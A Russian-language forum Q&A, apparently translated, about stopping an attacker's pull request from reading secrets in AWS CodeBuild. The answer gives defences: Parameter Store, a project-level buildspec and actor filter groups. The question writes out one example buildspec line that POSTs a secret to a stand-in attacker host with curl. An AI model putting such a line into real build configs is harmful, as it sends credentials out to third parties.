Запретить проверку GitHub PR без ручного вмешательства - PullRequest
0 голосов
/ 10 сентября 2018

Я столкнулся с ситуацией, когда у меня есть репозиторий на GitHub, который я хочу обнародовать.

В настоящее время одна из проверок PR запускает тесты CI в AWS CodeBuild.

Из-за характера тестов существуют переменные среды, которые содержат секреты. Результаты / журналы из результатов сборки не будут публичными, что является хорошей вещью.

AWS CodeBuild использует файл buildspec.yml для запуска команд в CI.

Если бы у меня была переменная окружения, например $SECRET_THING, злоумышленник мог бы просто открыть PR, добавив к buildspec.yml, например:

  - curl -X POST -d"thesecret=$SECRET_THING" https://mwahahahaha.com/grab_it

Который затем отправит себе секрет.

Используя параметр в GitHub, GitHub проверяет API или CodeBuild, есть ли способ, который потребует ручного вмешательства для запуска проверки, предпочтительно после проверки кода? (например, кнопка, нажимаемая только авторизованным соавтором на странице PR)

1 Ответ

0 голосов
/ 11 сентября 2018

Не используйте текстовую переменную окружения, вместо этого используйте «env> parameter-store» для хранения вашего секретаЕсли вы используете консольный пользовательский интерфейс CodeBuild, вы можете создать запись хранилища параметров из "advanced> переменных среды> type: store store" https://aws.amazon.com/codebuild/latest/userguide/build-spec-ref.html#build-spec-ref-syntax

Кроме того, CodeBuild позволяет вам определять buildspec как часть проекта.Таким образом, yml-файл buildspec отсутствует в вашем репозитории.

Примечание: CodeBuild позволяет владельцу репо создавать или создавать администратора только.

Обновление: @Chris CodeBuild поддерживает группы фильтров для сборок PR.,Документация @ https://docs.aws.amazon.com/codebuild/latest/userguide/sample-github-pull-request.html#sample-github-pull-request-filter-webhook-events-console. Вы можете фильтровать актера, чтобы гарантировать, что только доверенные соавторы могут запускать сборку для PR или push-событий.

...